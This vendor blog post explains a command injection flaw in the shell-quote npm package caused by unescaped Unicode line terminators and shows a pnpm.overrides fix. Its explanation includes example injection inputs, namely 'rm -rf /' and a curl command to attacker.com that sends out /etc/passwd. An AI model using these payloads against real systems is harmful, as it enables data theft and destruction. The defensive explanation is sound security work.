Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the `shell-quote` npm package, affecting version 1.8.3 and earlier. The root cause is that the library fails to escape certain line terminator characters, allowing attacker-controlled strings to break out of a quoted shell argument and inject arbitrary commands. The fix is to upgrade `shell-quote` to 1.8.4 or later; in monorepos using pnpm, this is done by adding a `pnpm.overrides` entry (`"shell-quote": ">=1.8.4"`) in `package.json` so every transitive dependent receives the patched version without needing individual package bumps.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to >=1.8.4 and pin via pnpm.overrides to enforce the patch across all transitive dependents
riskArbitrary shell command execution by an attacker who controls input passed to shell-quote
languageJavaScript / Node.js
root causeshell-quote 1.8.3 does not escape line terminator characters, allowing argument boundaries to be broken
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins shell-quote to >=1.8.4 via a pnpm.overrides entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through shell-quote and has not yet upgraded is at risk of full remote code execution.


Introduction

The pnpm-lock.yaml file in this repository locked shell-quote at version 1.8.3—a version that Trivy's CVE scanner flagged as critically vulnerable. While lockfiles are often overlooked during security reviews, they are the authoritative record of exactly which package versions are running in production. In this case, that record revealed that every workspace package depending on shell-quote was exposed to CVE-2026-9277: arbitrary code execution via command injection caused by unescaped line terminator characters.

The problem is subtle. shell-quote is widely used to safely construct shell command strings from arrays of arguments—it is the library you reach for precisely because you want to avoid shell injection. But version 1.8.3 contained a flaw where certain Unicode line terminators (characters such as \u2028 LINE SEPARATOR and \u2029 PARAGRAPH SEPARATOR) were not properly escaped. An attacker who can influence any string passed through shell-quote's quoting logic can embed one of these characters to terminate the current argument context and inject a new, unquoted command segment.


The Vulnerability Explained

What shell-quote Does

shell-quote exposes two primary functions: quote(args) and parse(cmd). The quote function takes an array of strings and returns a single shell-safe string where each argument is properly escaped or quoted. The intended use looks like this:

const { quote } = require('shell-quote');
const userInput = req.body.filename; // attacker-controlled
const cmd = `cat ${quote([userInput])}`;
// Expected: cat 'somefile.txt'
// Dangerous if quote() fails to escape special chars

The assumption baked into every caller is: whatever I pass to quote(), the output will be safe to interpolate into a shell string. CVE-2026-9277 breaks that assumption.

The Vulnerable Code Pattern

In shell-quote@1.8.3, the quoting logic did not account for Unicode line terminator characters. Consider an attacker supplying this string as userInput:

foo\u2028; rm -rf /

Because \u2028 (LINE SEPARATOR) was not in the set of characters that triggered escaping, shell-quote would emit something equivalent to:

cat 'foo
; rm -rf /'

Depending on the shell and how the resulting string is interpreted, the line break can cause the shell to treat ; rm -rf / as a separate command. The quoted boundary is effectively broken by a character the library did not know to neutralize.

The lockfile entry that exposed this:

# pnpm-lock.yaml (before fix)
shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
  engines: {node: '>=8'}

Attack Scenario

  1. A developer uses shell-quote to build a shell command from a user-supplied filename in an API endpoint.
  2. An attacker sends a POST request with a filename field containing report\u2028; curl https://attacker.com/exfil?d=$(cat /etc/passwd).
  3. shell-quote@1.8.3 quotes the string but does not escape \u2028.
  4. The shell interprets the output as two commands: the intended cat 'report' and the injected curl exfiltration command.
  5. The attacker receives the contents of /etc/passwd—or worse, establishes a reverse shell.

Because this is a production dependency (not test-only), any server-side code path that invokes shell-quote with user-influenced data is a potential entry point.


The Fix

What Changed

The fix involved three coordinated changes across package.json, pnpm-lock.yaml, and CONTRIBUTING.md.

1. package.json — Adding the Override

// Before
"pnpm": {
  "overrides": {
    "react-dom": "19.2.3",
    "fast-xml-parser": ">=5.7.0",
    "postcss": ">=8.5.10",
    "serialize-javascript": ">=7.0.5"
  }
}

// After
"pnpm": {
  "overrides": {
    "react-dom": "19.2.3",
    "fast-xml-parser": ">=5.7.0",
    "postcss": ">=8.5.10",
    "serialize-javascript": ">=7.0.5",
    "shell-quote": ">=1.8.4"   // ← new line
  }
}

The pnpm.overrides field forces pnpm to resolve shell-quote to >=1.8.4 for every package in the dependency tree that requests it—regardless of what version each individual package specifies in its own package.json. This is the correct approach for transitive CVEs where you do not directly import the vulnerable package at the root level.

2. pnpm-lock.yaml — Lockfile Updated

# Before
overrides:
  fast-xml-parser: '>=5.7.0'
  postcss: '>=8.5.10'
  serialize-javascript: '>=7.0.5'

# After
overrides:
  fast-xml-parser: '>=5.7.0'
  postcss: '>=8.5.10'
  serialize-javascript: '>=7.0.5'
  shell-quote: '>=1.8.4'          # ← new line

And the resolved package entry changes from:

shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
  engines: {node: '>=8'}

to the 1.8.4 entry with its updated integrity hash. This ensures that pnpm install in CI and on developer machines will never again pull down 1.8.3.

3. CONTRIBUTING.md — Process Documentation

The PR also added a new "Security updates" section to CONTRIBUTING.md explaining exactly how to handle transitive dependency CVEs going forward:

### Security updates

For transitive dependency CVEs, pin the patched version in root `package.json`
under `pnpm.overrides`. Do not add a root-level `dependencies` entry for
packages the repo does not import directly.

Run `pnpm install`, commit the lockfile, and confirm the vulnerable version
is gone. Use `>=` to match existing override entries. No changeset needed.

This documentation prevents future contributors from accidentally adding a spurious root-level dependencies entry for a package they do not directly import—a common mistake that pollutes the dependency graph without actually fixing the transitive resolution.

Why >=1.8.4 Instead of =1.8.4

Using >=1.8.4 rather than pinning to an exact version means the override will automatically accept future patch releases of shell-quote (e.g., 1.8.5, 1.8.6) without requiring another manual update. This balances security (no version below 1.8.4 is ever resolved) with maintainability (future non-breaking patches are not blocked).


Prevention & Best Practices

1. Audit Transitive Dependencies Regularly

The vulnerable package was a transitive dependency—not something the repository directly imported. Tools like Trivy, pnpm audit, and Dependabot can surface these hidden risks. Run them in CI on every pull request.

# Check for known CVEs in your lockfile
pnpm audit --audit-level=high
trivy fs --scanners vuln .

2. Use pnpm.overrides (or npm overrides / yarn resolutions) for Transitive CVEs

When a CVE affects a package you do not import directly, the correct fix is a package manager override—not adding a phantom root dependency. This keeps your package.json semantically accurate.

// package.json
"pnpm": {
  "overrides": {
    "vulnerable-package": ">=safe-version"
  }
}

3. Prefer Argument Arrays Over Shell Strings

When spawning child processes in Node.js, prefer child_process.execFile or child_process.spawn with an explicit argument array. These APIs bypass the shell entirely, making shell injection impossible regardless of what escaping library you use:

// Risky: shell string construction
const { exec } = require('child_process');
exec(`cat ${quote([userInput])}`);  // depends on quote() being correct

// Safer: argument array, no shell involved
const { execFile } = require('child_process');
execFile('cat', [userInput]);  // shell never sees userInput

4. Validate Input Before It Reaches Shell-Quoting Logic

Even with a patched shell-quote, apply an allowlist or strict validation to any user-supplied value before it enters command construction logic:

const SAFE_FILENAME = /^[a-zA-Z0-9._-]+$/;
if (!SAFE_FILENAME.test(userInput)) {
  throw new Error('Invalid filename');
}

5. Relevant Standards


Key Takeaways

  • shell-quote@1.8.3 is not safe for user-influenced input: The unescaped line terminator bug means the library's core promise—safe shell quoting—was broken for a specific class of Unicode characters.
  • Lockfiles are security artifacts: The vulnerability was pinned in pnpm-lock.yaml at 1.8.3. Regularly scanning your lockfile with tools like Trivy is as important as scanning your source code.
  • pnpm.overrides is the right tool for transitive CVEs: Adding shell-quote to pnpm.overrides rather than dependencies correctly forces the patched version without polluting the direct-dependency graph.
  • Document your security fix process: The addition of a "Security updates" section to CONTRIBUTING.md means future contributors know exactly how to handle the next transitive CVE—reducing the chance of an incorrect fix.
  • Argument arrays beat shell strings: If the code paths consuming shell-quote can be refactored to use execFile with an argument array, the entire class of shell injection risk is eliminated regardless of what version of shell-quote is installed.

How Orbis AppSec Detected This

  • Source: User-influenced strings passed to shell-quote's quote() function, entering via any API endpoint or CLI argument that constructs shell commands.
  • Sink: Any call site invoking shell-quote@1.8.3's quoting logic where the resulting string is passed to a shell interpreter (e.g., child_process.exec, child_process.spawn with shell: true).
  • Missing control: shell-quote@1.8.3 lacked escaping logic for Unicode line terminator characters (\u2028, \u2029), allowing those characters to break out of quoted argument boundaries.
  • CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: The shell-quote dependency was pinned to >=1.8.4 via pnpm.overrides in package.json, and the lockfile was regenerated to resolve the patched version across all transitive consumers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that even security-focused libraries can harbor subtle flaws. shell-quote exists specifically to make shell command construction safe—yet a single class of unescaped characters was enough to render it exploitable. The fix is straightforward: upgrade to 1.8.4 and use pnpm.overrides to enforce that version across your entire dependency tree. More broadly, treat your lockfile as a security document, scan it continuously, and wherever possible prefer argument-array APIs that never invoke a shell at all.


References

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where attacker-controlled input is passed to a shell interpreter without proper sanitization, allowing the attacker to execute arbitrary operating system commands.

How do you prevent command injection in Node.js?

Always use a well-maintained, up-to-date shell-escaping library such as shell-quote >=1.8.4, avoid constructing shell strings from user input when possible, and prefer APIs that accept argument arrays (e.g., child_process.execFile) over shell string execution.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation alone enough to prevent command injection in shell-quote?

No. Input validation helps but is insufficient on its own; the underlying library must correctly escape all special characters—including line terminators—before constructing shell strings. Upgrading to shell-quote 1.8.4 addresses the escaping gap directly.

Can static analysis detect command injection in shell-quote?

Yes. Tools like Trivy (which flagged this exact CVE) and Semgrep can identify vulnerable versions of shell-quote in lockfiles and dependency manifests, making automated scanning an effective first line of defense.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5772

Related Articles

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

critical

How Archive Path Traversal Happens in Node.js and How to Fix It

CVE-2026-53486 is a critical path traversal vulnerability in the Decompress library, where crafted archive entries can write files and symbolic links outside the intended extraction directory. This vulnerability was transitively introduced through `@vitest/browser` and related packages pinned at version 4.1.5, and was resolved by upgrading to 4.1.6 and 5.0.0-beta.3. Left unpatched, an attacker who controls an archive file processed by any downstream consumer of this dependency chain could overwr